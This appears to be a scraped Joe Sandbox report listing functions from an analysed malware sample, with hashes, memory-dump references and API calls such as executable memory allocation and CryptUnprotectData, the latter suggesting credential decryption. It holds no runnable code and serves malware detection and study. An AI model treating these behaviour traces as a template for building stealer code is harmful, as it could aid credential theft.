Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: ,$@
API String ID: 292159236-1227015840
Opcode ID: e28b9d9980aa001fceeb63ed3e840a4d04dc0feabdbb72c11017447eac218033
Instruction ID: 4b2eb1cef60d3728b5636773274a1ebb769e29908d260f91c2472e2a83a90df2
Opcode Fuzzy Hash: e28b9d9980aa001fceeb63ed3e840a4d04dc0feabdbb72c11017447eac218033
Instruction Fuzzy Hash: 88518CB11087009FE710CF14CC56B5BBBE5EF85318F158A1DF5A98B2A0E7759A488B82

Uniqueness

Uniqueness Score: -1.00%

Function 0007D860 Relevance: 6.4, APIs: 4, Instructions: 377
nativememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0007D90B
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 0007D962
NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0007DA21
NtFreeVirtualMemory.NTDLL(000000FF,?,00000010,00008000), ref: 0007DA74

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 1720ca9fe176ef2080d16edfdd61d0c906d1f4bbb5e8dfe0d036e404b123bd67
Instruction ID: a889b20794e3192af84d1b9620e32616e8e93903d18ce3ebb2e90f08bdbe8527
Opcode Fuzzy Hash: 1720ca9fe176ef2080d16edfdd61d0c906d1f4bbb5e8dfe0d036e404b123bd67
Instruction Fuzzy Hash: 90D1BAB1A083118BE720CF18C88175BBBF1EF85314F15892EF59997391E7B8D908CB96

Uniqueness

Uniqueness Score: -1.00%

Function 000967D0 Relevance: 6.3, APIs: 4, Instructions: 268
nativememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 000968C8
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 00096926
NtAllocateVirtualMemory.NTDLL(000000FF,900000C2,00000000,?,00003000,00000040), ref: 000969EB
NtFreeVirtualMemory.NTDLL(000000FF,900000C2,00000010,00008000), ref: 00096A45

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: a4790ec625637d2df83d0f4fce38ecbd9d2c766fedd21fd48aa40931b2d56376
Instruction ID: fdc29cb72587a63ea9e0f935bb5ffe7e1c777c7f2ecba58ffe6dfd4e87300069
Opcode Fuzzy Hash: a4790ec625637d2df83d0f4fce38ecbd9d2c766fedd21fd48aa40931b2d56376
Instruction Fuzzy Hash: 4591A9716083149FD714CF18C891B2BB7E9EB85318F148A2CF9A99B3D0D7B5AD05CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00095D40 Relevance: 6.3, APIs: 4, Instructions: 255
nativememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00095DE5
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 00095E43
NtAllocateVirtualMemory.NTDLL(000000FF,D2FF0000,00000000,?,00003000,00000040), ref: 00095F0A
NtFreeVirtualMemory.NTDLL(000000FF,000000B8,00000000,00008000), ref: 00095F67

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: a62743d1e5ddca0f52485856db72138b2a18d44f57c177e6ada3b0488e0249c2
Instruction ID: 69b9d34a5e97fad0bc980791d450857064151cdfda8691bb9b47bd6f607caa60
Opcode Fuzzy Hash: a62743d1e5ddca0f52485856db72138b2a18d44f57c177e6ada3b0488e0249c2
Instruction Fuzzy Hash: 739189712083119FDB20CF18C894B2BBBE5EB88364F148A2CF9949B3A0D7759905DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00090F80 Relevance: 6.2, APIs: 4, Instructions: 216
nativememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00091029
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 00091077
NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00003000,00000040), ref: 00091142
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000010,00008000), ref: 00091192

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: d863521fd93fdffd0e6254d4874c64fbdfd47873890c1ce2198833f05655059c
Instruction ID: 1345a1f6eb6e9318165e3a887339f071869d68e2f2ff9897648e0e3fedc9cbdb
Opcode Fuzzy Hash: d863521fd93fdffd0e6254d4874c64fbdfd47873890c1ce2198833f05655059c
Instruction Fuzzy Hash: 8A619CB16083019FE710CF18C841B5BB7E5FB88714F258A2DFAA49B390D7B5D904DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00092987 Relevance: 6.2, APIs: 4, Instructions: 157
nativememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00092ACD
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 00092B1C

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 811b7ded858d9b392f291ade0ada126cb4ff35c9529c9d092bdfff6860dce0db
Instruction ID: 9c77cbe16c37a67e7be008ee8d9790cc0b57ffa58d0e28f2bcd479adb1a473ed
Opcode Fuzzy Hash: 811b7ded858d9b392f291ade0ada126cb4ff35c9529c9d092bdfff6860dce0db
Instruction Fuzzy Hash: AE511272101B009FE734CF04C899B57B7F4BB09314F148A1CE6A68BAE1D7B5EA498B94

Uniqueness

Uniqueness Score: -1.00%

Function 000924B2 Relevance: 6.1, APIs: 4, Instructions: 149
nativememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00092543
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 0009258B
NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0009262B
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 00092673

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 1bee26e5a736b8e87a9524273645c5d44c3a00c7dcaefc9cb2c76dd9af77a139
Instruction ID: d8c5b3a6c5529b0ad9b1c3196dde3bce5e319b14e541d64218c6e67a7c59b095
Opcode Fuzzy Hash: 1bee26e5a736b8e87a9524273645c5d44c3a00c7dcaefc9cb2c76dd9af77a139
Instruction Fuzzy Hash: D1510471210B019FE734CF14C855B27B7F5FB09318F148B1DE9A68BAA0D7B4E9498B94

Uniqueness

Uniqueness Score: -1.00%

Function 00064640 Relevance: 5.5, Strings: 4, Instructions: 490COMMON

Download Yara Rule

Strings

IEND, xrefs: 00064B6F
IDAT, xrefs: 00064AF9
IHDR, xrefs: 00064A88
), xrefs: 000646CE

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: 903e3ad90e39625161ec3f5bda66e122451c62f378131a52160a69676ddcb544
Instruction ID: 73723fadcec21d9367bf7b466f8bd11297b9852a356b4948166af92f73969f49
Opcode Fuzzy Hash: 903e3ad90e39625161ec3f5bda66e122451c62f378131a52160a69676ddcb544
Instruction Fuzzy Hash: 86021071A083809FD754CF28D850B6B7BE2FB85304F05892DF9958B392D779D909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00095640 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00095795
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 000957F2

Strings

@, xrefs: 000956DD

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: @
API String ID: 292159236-2766056989
Opcode ID: 59031a5e2bdcdd714b5064338212b701711e4777f9b02d9a104082f5d8b13404
Instruction ID: ff1f643161a5f2ec3493cbf1927200be31ab886a656c14ebc9e82321494f0890
Opcode Fuzzy Hash: 59031a5e2bdcdd714b5064338212b701711e4777f9b02d9a104082f5d8b13404
Instruction Fuzzy Hash: D7417AB20097049FD711CF14CC45B1BBBE4EF85368F558A1DF9A49B2A0E3B5D908DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00095BD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00095CD5
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 00095D27

Strings

@, xrefs: 00095C20

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: @
API String ID: 292159236-2766056989
Opcode ID: 798b612b66147cc204dcb82a11851051848fdd26640ace08b255dd99f74fa1a5
Instruction ID: 2917fa319c7cb6df144ee4221abc1940c26be57e67a98649660b551b70b9a8f1
Opcode Fuzzy Hash: 798b612b66147cc204dcb82a11851051848fdd26640ace08b255dd99f74fa1a5
Instruction Fuzzy Hash: 3C315CB11093049FE710CF14C844B1BBBE8FF89354F148A2CF9A49B3A0D3B499488B92

Uniqueness

Uniqueness Score: -1.00%

Function 00095940 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 000959F4
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 00095A53

Strings

$, xrefs: 000959CB

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: $
API String ID: 292159236-3993045852
Opcode ID: 08fa8cf7735cbfff80652dd7806fbd16393577040ff9a3b18a023b2945bec3bd
Instruction ID: e10cd9ca9447f791de71882dd054cf9889dbce7f9d6fafe7d3044fe52440093c
Opcode Fuzzy Hash: 08fa8cf7735cbfff80652dd7806fbd16393577040ff9a3b18a023b2945bec3bd
Instruction Fuzzy Hash: 57317171208314AFE710CF19DC41B1FBBE8EB85764F104A2DFAA49B3D0D7B599048B92

Uniqueness

Uniqueness Score: -1.00%

Function 00078E50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00078EF1
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 00078F58

Strings

,, xrefs: 00078EC8

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: ,
API String ID: 292159236-3772416878
Opcode ID: 3de86395f12e849b2a56f45e91f6e8d09f83cf55f19835a0d5b1b2561827cf5e
Instruction ID: 480b7a5f52c167932e24fb17e294bff99ec325e82a8639be37460558e69b62c5
Opcode Fuzzy Hash: 3de86395f12e849b2a56f45e91f6e8d09f83cf55f19835a0d5b1b2561827cf5e
Instruction Fuzzy Hash: AB316971108304AFE310CF14CC45B2BBBE9FB89754F148A1DFAA89B390D7B599048B96

Uniqueness

Uniqueness Score: -1.00%

Function 00083216 Relevance: 4.2, APIs: 1, Strings: 1, Instructions: 721COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 00083876

Strings

U;Gy, xrefs: 000839FD

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: U;Gy
API String ID: 3960555810-1665677991
Opcode ID: 7b12c9ad20265fdbcd75e9eefb25c670e93046bbd7b30af0b96bd17376645492
Instruction ID: c49bd49a3ccea8b2642651ae74b4a3fcd51aeb9c404fae20ea3a830e563aa4eb
Opcode Fuzzy Hash: 7b12c9ad20265fdbcd75e9eefb25c670e93046bbd7b30af0b96bd17376645492
Instruction Fuzzy Hash: 3F525970104B408AE775CF39C0A87E7BBE1BF56704F44895DC0EB8B682DB7AA509CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00074F69 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 176encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 000751D9

Strings

6, xrefs: 00074FA3

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: 6
API String ID: 834300711-498629140
Opcode ID: 084e38bbbf6b44a9711906bbd95bbc25712717354c3473de08cddd2295e0d57a
Instruction ID: 143c8a1fa4da29498332c7e8e7c2419cb02955d2ad96686d024e2736e304f62e
Opcode Fuzzy Hash: 084e38bbbf6b44a9711906bbd95bbc25712717354c3473de08cddd2295e0d57a
Instruction Fuzzy Hash: FA61BDB09083819FD320CF24C491B9FBBE2BB85314F548A2DE4E987242D775E905CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00092C52 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 87nativeCOMMON

Download Yara Rule

APIs

NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 00092C36

Strings

JM, xrefs: 00092C73

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: FreeMemoryVirtual
String ID: JM
API String ID: 3963845541-1126336605
Opcode ID: ac10cea8ee3668e935a3ae0280efb1fe3b1fc02b0dd387d24fa44960bc12fee5
Instruction ID: 437a0cce8c8ef4868442521f989af94b3c7d40eadc28b76313e2eb749527086f
Opcode Fuzzy Hash: ac10cea8ee3668e935a3ae0280efb1fe3b1fc02b0dd387d24fa44960bc12fee5
Instruction Fuzzy Hash: FD3125B6144B815BEB18CF24CC90B967BE0FB06325F18865CD497CBAA3D638E54AC704

Uniqueness

Uniqueness Score: -1.00%

Function 000820C1 Relevance: 3.2, APIs: 2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64749777c68f417b765035289672395ba86d76eb6bd1250029539960a9235a56
Instruction ID: b5695443d4c4364aa689ae11f8083fc4ed8a82db7298d69d2f16642d95893976
Opcode Fuzzy Hash: 64749777c68f417b765035289672395ba86d76eb6bd1250029539960a9235a56
Instruction Fuzzy Hash: F9618D30108B818FD762CB38C854BA3BBE1BF56300F58899ED5EACB292D7686509CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00095810 Relevance: 3.1, APIs: 2, Instructions: 94nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 000958B5
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 0009590D

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1874211399.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874344571.000000000009A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874375023.00000000000A5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874586254.00000000001A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874979769.00000000003EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_Ag3ijL3z1w.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 123599f4554325831cea82977567dd5086b4543deb9d6af211800c9c211bdfdc
Instruction ID: 8f76b1b9023c8907d0d452a7396f5cdfb91b646d603fe9b8210c54387bc94886
Opcode Fuzzy Hash: 123599f4554325831cea82977567dd5086b4543deb9d6af211800c9c211bdfdc
Instruction Fuzzy Hash: 58315A71108715AFEB11CF14DC45B5FBBE8EB85324F04861DF9A49B3A0D7B49A08DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00074D10 Relevance: 3.1, APIs: 2, Instructions: 87nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 00074DAC
NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000), ref: 00074E03

Memory Dump Source

Source File: 00000000.00000002.1874240170.0000000000061000.00000020.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

